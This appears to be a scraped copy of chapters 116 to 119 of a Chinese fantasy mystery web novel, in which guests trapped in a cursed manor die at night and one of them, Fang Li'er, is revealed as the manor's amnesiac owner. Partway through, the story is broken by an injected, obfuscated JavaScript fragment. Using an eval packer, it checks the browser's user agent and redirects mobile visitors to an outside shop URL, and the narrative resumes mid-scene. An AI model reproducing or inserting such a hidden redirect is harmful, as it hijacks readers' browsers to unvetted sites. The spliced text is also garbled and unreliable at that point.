“他晚上出门定是为了找神器。但偷鸡不成蚀把米,反而被神器诅咒了。”她目光幽幽地盯着布袋,眼中透出一丝不屑,语气平淡仿佛早已见怪不怪。 一直没出声的流逸突然问道:“他为什么选择昨晚行动?” 是了,小峰是最先进入虚云山庄的人,为何他先前没有动手,而是等到了最后一日? “或许是见突然之间来了这么多人,耐不住性子了吧。”孔君山的目光在众人身上逡巡了一圈,状似随意的一句话,让气氛陡然一紧:“这座隐匿在时空中的山庄突然聚集了这么多人,怕是其中有人要 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听他这么一说,蜀平瞪大了眼睛,放下翘着的腿,身体前倾:“我怎么把这事忘了,这山庄的门下次会出现在哪里?不会带我上天庭了吧哈哈哈哈哈。” 白瑶原本安静地坐在一边思索着,突然脑海中划过一个疑问,如果小峰一开始就是为了神器而来,那他如何知道门会出现在哪里?她疑惑地向晏离侧目,默念了昨夜晏离教给她的通讯口诀,只听一阵嗡鸣后,她的耳边突然变得安静通透,孔君山与蜀平的声音渐渐远去,仿佛一道屏障隔绝在他们之间。 “师父......" “师父......"白瑶冲晏离挤眉弄眼。 "嗯。”晏离没有看她,轻轻地应了一声。 “......”不知为何,晏离的声音轻飘飘地落入她耳中,好像在她耳边低声呢喃,她一顿,忽然忘了自己要说什么。 晏离望向她,通透的眼眸像平静的湖面,泛着点点波光:“何事?” 白瑶甩了甩头,不能被师父的美色干扰! “师父,小峰的死真的和神器有关吗?小峰若真是为了神器而来,他是怎么知道山庄的门会出现在哪里?” 晏离没有直接回答,而是反问道:“我们为何来到这里?” “是寻着魔气找来的。” 没错,这里或许不止藏有神器,还藏着魔族之人。 白瑶脸色一变,惊讶道:“难道魔族也是为了神器?” 一旁暗中观察的流逸突然站到白瑶身边,白瑶心里一颤,像做贼被发现了一样掐掉联络,问:“怎么了?” 流逸垂眸,生冷地说:“无事。” 没事你跑来吓人? 白瑶与他对视几秒,忽然甜甜地一笑:“哥哥,你这样看我,我会不好意思的。你若是对我有意,要先过我师父那关哦。可是怎么办呢,我师父虽然性子冷淡,但最宝贝我了,你怕是没戏了。” 流逸一阵恶寒,看了一眼面无表情的晏离,一言不发地退回到房柱边。 虽然流逸冷硬,但总归比不上晏离那冷面冰山。白瑶在心中得意地哼哼道,我还对付不了你? 半晌,晏离走到白瑶身边问:"说了什么?” 白瑶睁大眼睛装傻。 “方才和流逸。” “我说......"白瑶眼珠一转,笑着抱起晏离的手臂:“我说,他要是敢对我做什么,我师父绝对不会放过他的。” 晏离抽回手不再多问,料她嘴里也没个实话。 117. 第 117 章 夜里回屋,灵夜像前一日般提着灯笼停留在二楼走廊尽头,对众人重申了一遍:“各位切记,夜里不能离开这栋小楼。”灯笼昏黄的幽光照在他惨白的脸上,眼神木讷地从众人身上缓缓带过,但无人在意。 “谁还敢出去。”好似有人小声嘟囔道。 白瑶又与房黎儿待在了一处。房黎儿推开窗,窗外的雾气铺面而来,她带着些许惆怅望向院子里被浓雾掩盖的凉亭,听房檐上的金铃偶尔发出几声脆响。 白瑶甩掉鞋子,翻身上床四仰八叉地躺着,才不在意房黎儿在做什么。 良久,房黎儿关上窗户,问:“你昨晚去哪儿了?” 嘿,怎么还在纠结这个问题。 白瑶用余光看了她的背影一眼:“我不是说了吗?我看你不在房里,才出去看看。你昨晚又去了哪里?” 房黎儿转身,目光灼灼地看着白瑶,眼里透着怀疑:“可是我昨晚一直都在房里。” 白瑶气笑了:“你若是在房里,见我出门为何不出声?” 房黎儿拧眉:“我没想到你真的会出去。” “你怎么证明你一晚上没有出这个房间?” 房黎儿嗤笑一声:“你怎么证明我晚上出过这个房间?” 白瑶翻身坐起叫道:“我亲眼看到了你不在!” 房黎儿毫不留情地喷回去:“那是你眼睛有疾!” 两人干瞪眼了一会儿,不约而同地说道:“换房间!” 两人背对背躺着,不一会儿白瑶故意说道:“我要换房,还可以和我师父一间房,你一个人要住哪间?” “啊!难不成你要去住小峰生前住过的那间?”她将“生前”二字咬的很重,心满意足地听到房黎儿磨牙的声音。 房黎儿也不是吃素的,一把将白瑶身上的被子踢开:“你休想!我不同意换房!” “哟,你还舍不得我呀。” 房黎儿被白瑶腻出了一身鸡皮疙瘩:“滚!有多远滚多远!” 两人一夜背对而眠,除了斗嘴倒也相安无事。白瑶确定前天夜里房黎儿不在房里,但看她争辩的样子却不像在说谎,仿佛是白瑶自己出了房间要拉一个垫背的。委实奇怪。 天刚蒙蒙亮,晨光从地平线升起,慢慢爬上小楼赤红的木柱上。还未爬到三楼,便有一道身影小心翼翼地从楼梯上跃下,环顾四周,向楼外挪去。在即将走出小楼时,忽然身影一滞,仓皇后退半步,撞上一旁的桌子。 桌上的空瓶摇摇晃晃打了几个圈,倒了下来,在桌上滚了几周,“刺啦”一声打破了清晨的平静。 前前后后几秒钟,身影像是被定住了一般,没有丝毫反应。 靠近楼梯的门吱呀一声打开了,灵夜揉着眼睛从房内出来,探出头向下张望。 三楼中走出的孔君山走到楼梯口,可惜被灵夜挡住了视线,他从灵夜身旁走过,走下楼梯抬眼一看,瞳孔巨震。 在他收缩的瞳孔倒影中,墙面上鲜血淋漓,屋内一角散落着几片浑浊的肉块和一滩碎发。空气弥漫着令人作呕的血腥气,像海浪一般席卷感官,令人头皮发麻。 楼梯上传来脚步声,孔君山与灵夜对视一眼,叫道:“都别下来!” 楼上住的可不是会听他的人,流逸一手压着腰侧的剑,警惕又缓慢地从楼梯上挪下来。之后是晏离与白瑶,而最初的那道身影,居然是房黎儿。 流逸如同利刃般锋利的眼神在一楼扫过,锁定在靠近小楼出口的房黎儿身上:“怎么回事?” 房黎儿惊魂未定,双目无神嘴唇微张,在听到流逸的质问后身上一松,僵硬的身体向流逸倒过去,被流逸执剑挡了一下才勉强站稳,眼眶渐渐红了:“我......我不知道,我晚上睡不着,待在房里实在无聊。灵夜小弟弟说晚上不能出门,我就等到天色亮了才出来,谁想到还没出门,就......就看到......天啊,到底是怎么回事?他是......” 房黎儿点了点在场的人,脸色越来越难看:“该不会是蜀平吧......" 碎尸分辨不出衣服,从尸块大小来看,应该是蜀平。 “不是说了不能出门吗?他为什么要出去?”人群之后,月婆婆年迈沧桑的声音响起,那声音中饱含惋惜与不解。 又是神器的诅咒吗? 流逸与晏离上前查看尸块,白瑶跟着晏离的脚步走下楼,蹲在血泊旁,观察上面漂浮的碎发和肉渣。 “喂,你不怕有鬼吗?”房黎儿抱着双臂打了个哆嗦,眼神避开了尸体在屋内乱瞟。 白瑶抬起头瞥了她一眼:“哪有神仙怕鬼的?” 房黎儿身体僵硬了一下,缓缓放下手:“是,是哦。” 白瑶望着墙上的血迹思索着:死的两位都是先他们一步就来到虚云山庄的人。 耳边回响起昨天蜀平的说辞,他声称自己只是一个偶然上山的屠户,不小心遇到大雾才躲进山庄。若真是如此,他昨晚为何会从小楼出去。难道是听了月婆婆的描述,对神器产生了觊觎之心?还是说,他来这个山庄并不是偶然,没有离开也是为了等待时机。 但他为什么选择昨日行动?离朔月还有二十六天,就算他拿到了神器也无法从山庄出去。 是什么事情让他觉得一定要昨天晚上下手不可? 她的余光落在周围人的身上,心想,与她们一同到达虚云山庄的房黎儿、孔君山说不定也是为了神器而来。 不一会儿,凶残的尸块忽然消失在原地,墙上斑驳的血迹也像蒸发了一般,没有留下任何痕迹,好像刚才的一切都是幻觉。 灵夜站在大厅的门边,眼神幽幽地看着厅内发生的一切,刚才的惊讶已经转换成为一种处变不惊的麻木。 “之前也有发生过相同的事,对不对?”孔君山看向月婆婆和灵夜问道。 灵夜在他咄咄逼人的目光中向后缩了一下,轻声说:“没有一次是相同的。” 流逸瞳孔微缩:“他们都死了。有人活着走出这座山庄吗?” 屋内的血腥气陡然被一种更加诡异的气氛掩盖,众人陷入惶恐之中,很难不联想到月婆婆、灵夜之所以留在山庄内几百年,是因为根本出不去。 “有。” “朔月前后三日山庄的门能打开。”灵夜坚持道,语气有些僵硬,好像这句话他已经重复过上百次。 若说小峰的死还未引起大家的重视,那蜀平的死便让他们不得不警觉起来。 “昨晚回屋的时候,蜀平不是说他不会出去吗?”孔君山一脸怅然,无法接受昨天还活生生的人,今天就化成一堆肉泥。 房黎儿小声说:“谁知道他是不是故意说给我们听的。” “他未必是自己想出去。”流逸说。 众人一惊,心里多了几分离奇的猜测,再看向山庄内的陈设越发觉得这地方说不上来的诡异。 “他会不会是被什么东西引出去的?”房黎儿问,她看向小楼空荡荡的房梁,仿佛有什么东西在暗中观察着他们。青丘多妖,说不定山庄里除了神器还有别的精怪。那么小峰、蜀平未必是为了搜寻神器出门,而是被精怪诱拐出门的也说不定。 流逸锐利的目光不加掩饰地落在了月婆婆身上,若真要怀疑,月婆婆与灵夜也有可能将小峰、蜀平诱骗出去,或者小峰、蜀平的死就是他们所为。但他从月婆婆和灵夜身上找不到破绽,他们二人一个是身体都直不起来的老人一个是半大的孩子,看上去太过平常,身上也没有常年使用武器留下的痕迹。 流逸望向月婆婆,沉声问道:“这里还有别的东西吗?” 月婆婆摇摇头:“我一个眼瞎耳聋的婆子怎么知道。” 几人有的陷入沉思,有的陷入恐慌,突然一道散漫的声音说:“嗤。青丘待了这么多年,连附近有没有精怪都察觉不出。”孔君山含笑看了流逸一眼,眼神中带着三分不屑和挑衅,仿佛在说原来你只有这点水平。 流逸一顿,虽然对孔君山的姿态不满,但他说的不错,山庄里若是还有别的精怪,他们这些人不可能都没发现。若是那精怪妖力强大到可以隐匿自己的气息,也委实没必要缩在山庄之中,只在夜里行动。但小峰和蜀平夜里是否是自愿从小楼出去的,尚且不能定论。 孔君山慵懒地抱起双臂,带着揣摩的目光在流逸身旁走了半圈,向他凑近了问:“喂,看你这身行头,该不会也是为了神器而来吧?” 流逸敛眉,面不改色:“是又怎样。” 孔君山脸上的神情一僵,眼睛在流逸双眸之间停留了几秒,见他不像玩笑话,拉开了半步距离说:“好,这也是个爽快人。看来你与小峰、蜀平三人就是为了神器而来,他们性子急,想先下手为强,结果尸骨无存。你有耐性能等到现在,可是现在你打算怎么办呢?” 流逸镇定道:“不劳阁下费心。” 白瑶见他们之间的气氛有些剑拔弩张,此时起内讧全无用处,打断道:“那孔叔叔是为何来这山庄?” 孔君山的视线牢牢锁在流逸身上,一听白瑶的话,立马转头对她说:“你叫我什么?我有这么老吗?” 白瑶看上去十五六岁,称呼孔君山叔叔并无不妥,但孔君山却非常不乐意。他不知从哪儿掏出一面巴掌大的镜子,对着门外的光线,边照边喃喃:“没长皱纹啊,一定是这些天在外头睡得不好,眼圈加重了......” 他喃喃几声,忽而回过神来,反手收起镜子,瞪了白瑶一眼:“没礼貌的丫头。我为什么要告诉你?” 白瑶原本怀疑来虚云山庄的人之中,除了她和晏离都想得到神器,但孔君山打消了白瑶一部分疑虑,说白了孔君山那不靠谱的样子不像是来找神器,反而像是来度假的。 孔君山见白瑶吃瘪,心情大好,拍了拍流逸的肩说道:“你想找神器,早说啊,反正还要在这里待二十多天,不如我们一起找找?” 其他几人愣怔地看着孔君山,心想这人是不是脑子有问题。 孔君山不以为然:“反正只要晚上不出小楼就行,那我们就白天找,说不定找到了就能早点离开山庄。” “不可以!”月婆婆厉声道:“这神器不能离开山庄。”搀扶着她的灵夜在一旁点点头。 房黎儿原本有些跃跃欲试,但一听月婆婆这么说,又有些犹豫。 “有什么不可以?神器的说法都是你的一面之词,你说神器会给世间带来灾难,难道你见过?”孔君山问。 月婆婆一顿,孔君山又说:“说不定是山庄主人为了防止他人觊觎胡诌的呢。是骡子是马,总要拉出来溜溜,我们先把神器找出来看看到底是什么。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137781|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房黎儿附和道:“我觉得他说的有道理,谁知道这剩下二十多天会发生什么,我们不能坐以待毙。” 灵夜急的直跺脚:“你们怎么能这样,你们这是忘恩负义!你们忘了是山庄收留了你们吗?” “罢了。”月婆婆打断他,眼眸一点点暗淡下去,连脸上的皱纹都流露失望之意:“你们去找吧,也许这就是你们的命。” 晏离一直静静地观察着厅里发生的一切,他平淡的眼眸在月婆婆和灵夜身上停留了须臾,眸光泛起一丝清波。 白瑶心满意足地换到了晏离的房间,将孔君山挤了出去。虽说男女有别,但两人一是隔了几千岁的远亲,二是风格迥异的师徒,三是住在山外云境多年,白瑶不觉得不妥。 孔君山见他们师徒二人居然要住一间屋子,眼睛都看直了,直说这天界太疯狂了。又莫名其妙地凑到房黎儿门前,倚靠在门框上,低沉地问:“美人,有没有兴趣和我一间?”当然被房黎儿一路打到二楼。 孔君山住进了原本小峰的房间,在月婆婆和灵夜的隔壁。 房黎儿自然心里不舒服,回屋前目光幽深地看着白瑶说:“这房间不隔音,你们可别搞出什么动静。毕竟我们还要在这里待二十多天,低头不见抬头见的,多尴尬。” 白瑶不甘示弱地说:“只要我觉得不尴尬,尴尬的就不是我。”虽然她并没有搞明白房黎儿说的是什么意思,但是嘴上绝不能输。 房黎儿气得将门重重关上。 门在身后合上,晏离在房间四周加固了一层屏障,以防隔墙有耳。 “师父,你找到那个魔族了吗?”白瑶问。来这里两日,她都没有察觉到魔族的气息,让她有些不确定这里是否真的有魔族。 晏离微微摇头。 白瑶有些失望:“虽然不知道魔族是怎么回事,但现在我们却被卷进了这个诡异的地方。也许魔族也是为了那件神器而来。” 晏离没有回答,将床铺好,坐在一旁的塌上,清冷地说:“你睡床上。” 见白瑶疑惑地看着他,语气轻了一些:“别多想。” 白瑶走到床边,刚坐上去,突然想起前天睡前房黎儿说的那句“不知道他在床上是不是也是这副油盐不进的样子?” 床上?什么床上? 白瑶偷偷地看了一眼坐在塌上和衣而睡的晏离,心里突然剧烈地跳了一下,她赶紧收回目光好像做贼一样。 “师父,你觉得房黎儿怎么样?” 晏离缓缓睁开眼睛,“为何这么问?” 看来他对房黎儿没有感觉,白瑶心里缓和了一点:“谁知道她刚才阴阳怪气在说什么。” 晏离的目光落在白瑶气呼呼的脸上。 白瑶犹豫了一会儿,解释道:“我总觉得她要对师父意图不轨。” 小小年纪知道什么是意图不轨? “你在生气?”清冷的声音传来。 白瑶一愣,是啊,就算房黎儿真要对晏离意图不轨,有她什么事儿?且不说房黎儿能不能靠近晏离,就算可以,那也是晏离自己的事情。她多想什么? 白瑶眨了眨眼睛,突然心上一松:“你说的对,我没什么可气的。”她转过头对着墙冷静了一会儿,明白自己不该生气,但又开始对这一认知感到有些烦躁。她将头埋在墙边,闷闷地自言自语:“虽然我不喜欢这样的人,但那是你们之间的私事,不关我的事。” 晏离习惯了她不着边际,没有放在心上。 白瑶这一夜睡的极好,醒来身心轻松,思路清晰。相衬之下前两日睡的委实不安生,于是她总结出来原来睡觉最重要的不是在哪儿睡,而是和谁睡。这么一看,房黎儿的眼光颇为毒辣,一见面就挖掘出了晏离的本质。 流逸、孔君山、房黎儿三人一人真心想要寻找神器,两人因为无聊,忙前忙后搜寻了两天,终于在第三天在后院的一间书阁发现了端倪。 后院的书阁是一座藏在小楼后头的矮房,面积不大,两三个人在其中转身都有些困难。光线被小楼遮挡,书阁隐匿在一片阴影中,加上屋内放置的东西种类繁多,像是一间搁置的杂物间。 书阁入口对着一尊小巧精美的佛台,佛台上摆放着一尊女神像,两掌高,面前有一个香炉但已尘封了许久。两边排放着厚重的木架,架上是摆放得整整齐齐的古籍和瓶瓶罐罐。 每一个瓶罐他们都打开看了,大多是空的,些许有些的草药和酒。房黎儿进屋看了一眼那佛台,莫名觉得那尊佛像的神情惊悚,让她心跳加速,于是从屋子里退了出去。 月婆婆和灵夜虽说随他们翻找,但也尽量跟着,目光随着他们的身影而动。 流逸和孔君山在书阁中翻找,架上的书被随手翻过几遍,如一座小山堆在地上。 架子空了,他们又将书架从墙边推开,然而墙后一览无余,并没有任何新的发现。孔君山累得坐在书堆上,扯开领口,随手抄了本薄册子扇风。 “这里前前后后都找遍了,神器会在哪儿呢?”孔君山嘟囔着,烦躁地加快了手上扇风的频率,扇着扇着只觉得手上纸页煽动得不太利索,目光落在册子的封面上,发现封面的一角翘起了一块指甲盖大小的页脚。 他小心翼翼地将两张紧紧黏在一起的纸分开,还未撕扯到一半,一道阴影突然没过了他的头顶。 118. 第 118 章 他抬头眯眼一看,瞳孔中伴着窗外渗入熹微的光线,映入月婆婆那张布满皱纹与斑褐的脸,一双浑浊的眼睛望着他,说不上来的阴沉。眼珠冲着他微微一动,吓得他手一抖,差点从书堆上跌下来。 月婆婆粗糙的手掌轻轻抚上他手中的书,喑哑的声音在他耳边沉吟:“这是主人留下的,不过就是一本普通的书。请不要破坏它。” 孔君山心神未定,干笑两声,从书堆上站起来,走到屋内光线处:“哈哈,我知道,我这就放回去。”他在月婆婆晦暗的双眼的凝视下,将书举起,放回到架上。就在月婆婆神色稍稍放松的一刹那,突然将封面与扉页剩下的一半撕开,一行清秀的小字引入眼帘: 赠友人 虚云山庄庄主房黎儿 青山不改 唯念长安 孔君山睁大了眼睛看了几遍,然后转头看向站在阴暗处的月婆婆,被她阴鹜的眼神又是一惊,接连退后两步撞在墙上。流逸在书阁另一侧听到这边的动静,转身看向他,见他神情颇像见了鬼,赶忙绕过来问:“你找到什么了?” 孔君山将撕开的页面张开,举到流逸眼前:“你看!” 流逸眼中也划过一丝震惊,向月婆婆问道:“虚云山庄庄主房黎儿?这是怎么回事?” 月婆婆浑浊的眼眸在两人之间逡巡,脸上的褶皱染上了一丝哀怨,哽咽道:“不,我不能说。” 孔君山扯着嘴角笑了两声,带着怒气提高了音调:“有什么不能说的,不能说我让房黎儿进来与你当面对峙。”他忽然一愣,像是想到了什么,喃喃道:“她真的是房黎儿吗?奇了怪了,你不说房黎儿也不说,还装作是第一次来山庄,难道这一切是你们串通好的?就等着引我们进来,你们想瓮中捉鳖?” 孔君山越想越气,他就不该借着酒疯追房黎儿进山庄,这下找了他们的道儿! 孔君山从书阁大步流星走出去,冲向一无所知的房黎儿。随之,流逸也走出书阁,眼中露出杀气,执剑指向房黎儿的咽喉。 “你这是做什么?”房黎儿赶紧躲向晏离的身后,剑尖随之转向了晏离。流逸深深看了他一眼,犀利的目光越过他望向身后的房黎儿,看得房黎儿一个哆嗦。 冷若冰霜的白衣镇定自若地面对利剑,并未看一眼指向他的剑尖,而是平视神情紧张的流逸,淡然问道:“你发现什么了。” 孔君山站在流逸身后,指着房黎儿愤然道:“她就是虚云山庄庄主!” 白瑶怔然道:“你说什么?” 孔君山把书拿来给他们看,房黎儿看了一脸错愕,被孔君山破口大骂了好几句才回过神来。 “瓮中捉鳖?你也就是个鳖!我根本不知道这是怎么回事!”房黎儿叫道。她看到月婆婆被灵夜搀扶着从书阁中走出来,拧着眉头,没好气地问:“月婆婆,这书上为何会有我的名字?” 月婆婆早已泪眼婆娑,瘪着嘴望着房黎儿,拍拍灵夜的手让他松开,自己一步一步颤颤巍巍地走到房黎儿跟前,两腿一松就要跪下。 房黎儿装模作样拦了一下,没让她真的跪下,可老婆子握着她的手不放,双眼含着热泪意味深长地望着她,让房黎儿感到心慌意乱。房黎儿挣开她的手闪到一边,躲在流逸的身后探出头:“你这是干什么?你想折煞我吗?” 月婆婆摆摆手,带着浓浓的鼻音和哭腔:“主人,你怎么能忘了老奴啊!” 这一剧情急转直下,白瑶被彻底搞懵了,拉着晏离的袖口呆在一旁。 房黎儿皱眉问:“这是演哪一出?” 月婆婆拿手绢擦了擦眼角,在灵夜的搀扶下,缓了口气:“其实您刚进山庄时我就认出您了,但您看上去好像什么都不记得,老奴以为您是不想让人知道身份,这才没有说的。主人,您还记得这里吗?” 房黎儿扯了扯嘴角,扫了一圈众人怀疑的目光,眼中依旧一片茫然:“我?主人?这里?你在说什么,我第一次来好不好。” 月婆婆抽了一口气,哭着埋在灵夜的怀里:“这是怎么回事啊主人,您怎么能忘了。您就算忘了老奴,也不能忘了虚云山庄,这都是您的心血啊!”灵夜望着房黎儿红了眼睛,嘴角下垂,透着一股失望与难过。 流逸默不作声地在月婆婆和房黎儿之间观察着,两人一个悲恸一个茫然,都不像是装出来的。 晏离将几人的神情尽收眼底,对房黎儿问道:“你还记得进山庄之前发生的事吗?” 房黎儿见是晏离问的,态度温和了不少,指着孔君山说:“我在山里走着,这人不知从哪儿冒出来,一身酒气硬要向我问路。我说我不知道,他还一直缠着我,委实烦得很。我想甩掉他所以就跑了,一路跑到了山庄门口。” 晏离追问:“再之前?” 房黎提起一口气,刚要张嘴,突然神情一滞,眨眨眼睛,眼神越发空洞迷茫:“之前,奇怪......奇怪,之前我在做什么......" 流逸见她神情不对,又问道:“你是从哪里来的?” 房黎儿舔舔唇,目光在四周游走,神情越发慌张:“我是从......是从......我......我好像不记得了......"声音越来越小,最后竟然带着几分哭腔。 她突然想不起来了,但她明明记得自己是有过去的,在此之前她从来没有忘记。越是想要记起脑海就越是空白,恐惧猛地窜入她的身体,反复揉捏着她的心脏。 ”这是怎么回事?为什么我记不起来了?”房黎儿一双媚眼含着晶莹的泪珠求助地看向晏离。 白瑶觉得奇怪:“难道你不知道自己失忆了?” 房黎儿喃喃道:“我不知道,我怎么会失忆呢。之前的记忆好像还在我的脑海中,但是只要我仔细去想,他们就像一团云雾变得很模糊。” 流逸见此,猜测道:“你一定知道这个山庄到底发生了什么,是你一直在引导我们?” 房黎儿的瞳孔渐渐放大,惊慌失措地看向众人,喃喃道:“不是我!不是我!我真的什么都不知道!” 晏离转过头对月婆婆说:“你说她是山庄的主人,可有证据?” 月婆婆早已哭的上气不接下气,灵夜抢着说:“书阁那尊佛像就是主人的模样。不信你们去看。” 他不说大家都没注意,现在几人围在那尊小巧精致的神像前一阵震惊和恶寒。那神像裹着一身素袍,发丝顺滑,未带金铃,神情慈祥,眼角也没有任何点缀。但此时细看,那眼鼻与樱桃薄唇,与房黎儿竟有八分相似。 居然有人将自己刻成佛像祭拜,什么心态? “我绕晕了,她是山庄主人?这都什么事儿?你赶快放我们出去。”孔君山皱着脸,不满地嚷嚷。 房黎儿白了他一眼:“我要是记得怎么开门,早把你轰出去了。” “她怎么会失忆?”流逸问。 晏离望着房黎儿沉默了一会儿,房黎儿发现晏离在看她立刻故作轻松地微微笑了一下,眨眨眼睛,眼角的蝴蝶扇动绚丽的翅膀,让她甜美的笑容变得别有风情。 白瑶捕捉到了她的表情,下意识去看晏离的反应。见晏离好像并没有反应,心里没来由地松了口气。 晏离上前一步,说:“冒犯了。”伸手在距离房黎儿半米的地方,手上浮现一团白气,顺着房黎儿的衣衫游走。房黎儿起初对晏离的靠近非常高兴,在白气卷上身体的时候,表情一顿,露出疑惑的表情。 常人修炼仙力总要经历一个淬炼的过程,初时仙力浑浊沉重、断断续续,越往上走越是清透纯净,绵延不绝。这白气轻薄缠绵,看似柔软却带着一股压抑的劲气,她能感觉到这不是普通的仙力。但有多不普通,她失忆了也说不上来,就是不由自主地变了脸色。 流逸、月婆婆见晏离释放的仙力,神 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眼下,山庄里除了房黎儿,只有月婆婆、灵夜、孔君山、流逸、晏离与白瑶,难道房黎儿失忆和他们有关? 孔君山、流逸的眼底多了几分探究,几人之间的气氛出现了一丝紧绷。 白瑶忽然想起来:“孔君山,你是第一个见到房黎儿的人,你是怎么遇见她的?她那时是什么样子?” 孔君山认真思索起来:“我那天喝多了,在林子里见到她时,她正茫然地打圈儿呢,我见她貌美就上前搭话......她的嘴巴你们也见识了,我自然没讨到好,再之后的事情和她方才说的大差不差,你们都知道了。” 天色渐暗,忽而一阵风送来了大片的雾气,小楼渐渐被雾气所笼罩,灯光在一片朦胧虚妄之中似真似幻。 “快天黑了,我们要赶快回去。”灵夜要搀扶月婆婆回小楼,月婆婆回头悲恸地朝房黎儿说道:“主人,快回去吧。” 房黎儿还没适应这个身份,懵懵懂懂地应了一声,赶忙跟在他们身后向小楼走去。 余下几人零零散散地往回走。大雾弥漫,相隔几米便看不真切。 晏离走在前面,冷着脸未说话。 孔君山偷偷放慢脚步,凑到白瑶跟前,瞄了晏离一眼,小声说:“他是冰块吗?” 白瑶瞪了他一眼:“不会说话就不要说。” 这小丫头片子嘴巴着实讨嫌。孔君山轻笑一声,挪开头,故意拉着白瑶放慢脚步:“开个玩笑嘛,他与你一道来,怎么对你也如此冷淡?他能教你什么?小妹妹,你要不要换个师父?” “换谁?” “自然是我。我风流倜傥、才艺高强,不比你那冰山师父有趣得多?”孔君山洋洋得意地伸手想拍拍白瑶的头,悬在半空中的手忽然一痛,被一股力道打开了一寸。正好白瑶闪开了身子,两人一交错,倒是看不出有何不妥。 孔君山扬起嘴角,眯着眼睛甩了甩手,别有意味地看了不远处模糊的身影一眼,威胁道: “你跟着你那面瘫师父,以后你也会变成小面瘫的。” “变成面瘫也不要你。”白瑶摸了摸脸颊,气鼓鼓地说:“房黎儿是虚云山庄庄主你不敢招惹,难道我就是好欺负的吗?你以为三言两语就能哄骗小姑娘?也不看看自己什么样,半点比不上我仙风道骨的师父。离我远一点!” 孔君山神色转冷,嘴角带着森冷的笑意:“什么样的师父教什么样的徒弟,果真两个人都超凡脱俗、特立独行。不要就不要,谁稀罕你这种乳臭未干的小丫头。” 说罢,加快脚步追上去,路过晏离身边时顿了一下,然后未说一字便甩开了他们。 白瑶追上晏离,看着孔君山的背影嘟囔道:“这人到底想干什么?” 晏离凝望着远处的身影:“不必理会。” 119. 第 119 章 众人在天黑前回到小楼,月婆婆太过伤心,一双湿漉漉的眼睛望着房黎儿说不出的悲哀,但房黎儿对她毫无印象,在她的注视下心情复杂。 月婆婆知道房黎儿一时半会儿无法接受她,于是想让房黎儿搬到她隔壁,让她好生照料,也好帮她恢复记忆。但她隔壁那间屋子既是小峰住过的房间,也是孔君山现在住的房间,房黎儿说什么也不同意。 月婆婆与灵夜开始为房黎儿鞍前马后,做饭都特意单独准备一份,在房黎儿睡前更是早早铺好了床被。房黎儿虽然还没缓过来,但是对有人伺候还是非常满意。 “要我真是庄主好像也不错。”房黎儿躺在床上望着房梁喃喃,正在给她捏脚的月婆婆垂眸,说:“您就是庄主。虚云山庄就是您的山庄。” 房黎儿笑了起来,渐渐有些困倦,意识开始模糊:“呵呵......" 寻找神器一无所获,众人又将注意力转移到了如何恢复房黎儿的记忆上。但经过一系列的实验,发现恢复记忆并不比找神器轻松,于是开始在两件事之间徘徊。 房黎儿现在是珍惜动物,不仅月婆婆和灵夜对她毕恭毕敬,其他人也对她多有顾虑。 房黎儿趾高气昂地吩咐月婆婆和灵夜,月婆婆看上去对她毕恭毕敬,尽其所能将房黎儿安置得更加舒服。几天下来,房黎儿身上的慵懒之气渐增,身上也丰腴起来。她本就妩媚,现在就像一颗成熟的果实一般沉甸甸地垂在枝头,让人垂涎。 “孔君山,去给我倒杯茶。”房黎儿躺在摇椅上玩头发,看都不看孔君山一眼,随口吩咐道。 孔君山不悦,提起一口气想怼她,但是念在寄人篱下没有发作,只是干瞪眼。月婆婆和灵夜拿着蒲葵扇在房黎儿身旁轻柔地扇着,见孔君山脸色不好看,月婆婆停下来说:“还是老奴去倒吧。” 房黎儿抬眼,不满地撇了撇嘴:“你别去,让他去。” 孔君山“嘶”了一声,站起来:“好,很好,你最好敢喝。” 不一会儿他拎着茶壶来了,倒好的茶放在房黎儿手上,擒着笑对房黎儿说:“你要的茶。” 房黎儿望着他的眼眸,皱眉道:“怎么是凉的呀?” 孔君山挤出了一个笑容,笑意却未达眼底,反而透出一丝冷意:“你只让我倒水,又没说要热水。” 房黎儿冷脸道:“你说什么?” 月婆婆看了她的眼色,赶紧帮着孔君山打圆场:“还是老奴来吧,孔先生毕竟是客人,不能让客人做这些事。” 房黎儿扫了他一眼,不满地嘟囔着:“不请自来也叫客人?”又转头想去使唤流逸。 流逸靠在柱子边假寐,像是察觉到房黎儿的目光,睁开眼看了她一眼。那锋利的眼神像一把闪着寒光的剑,房黎儿一个瑟缩没敢开口。 虚云山庄的线索中断,几人安分地待在小楼几日,倒也没有再出事。他们渐渐觉得,既然找不到神器便算了,反正再过个二十来天便能离开这里。 夜深人静,大雾在楼外肆虐。风敲打在紧闭的窗户上,让小楼在平静中生出一种细碎的不安。在这种大雾夜,好像一切动静都能隐藏在混沌之中,屋内漆黑一片,旖旎的拖沓声从地面划过,但是无人在意。 这一切似乎正合了某人的意,所以脚步也轻快起来。 他在一间门外停下,侧耳趴在门上细细听,里面传来一缕均匀的呼吸声,除此之外没有任何动静。他等候片刻,轻轻推开门,在黑暗的房间快速扫了一眼。房内静悄悄的,连窗外轻微的风声都显得十分突兀。 隔着半边屏障,有一团黑影卧在床上,随着呼吸轻微伏动。 人影从门缝挤进来,没有发出一点声响。他一步一步向床边走去,在黑暗中伸出了两只僵硬的手...... 就快要碰到床上之人了...... “啪”的一声,他的手腕被人于黑暗中猝然抓住。 四周亮起了几点幽光,屋内渐渐被照亮。 他僵硬地转过头,两颗异于常人的眼睛,像两颗木球一般镶嵌在脸上,神情迟钝又木讷。他机械地转过头,张了张嘴,生硬地叫道:“不是说了晚上不能出门。你这是在做什么?你不怕神器的诅咒吗?回去!给我回去!” 流逸锐利的目光带着威慑看着他,余光处床上匍匐的人影一个鲤鱼打挺支起身子,偏头一看竟是长发披肩的孔君山。 灵夜像牵线木偶一般挥舞着不协调的四肢,看看流逸又看看孔君山,瞪大了木珠般的眼睛,喃喃:“你们......你们......" 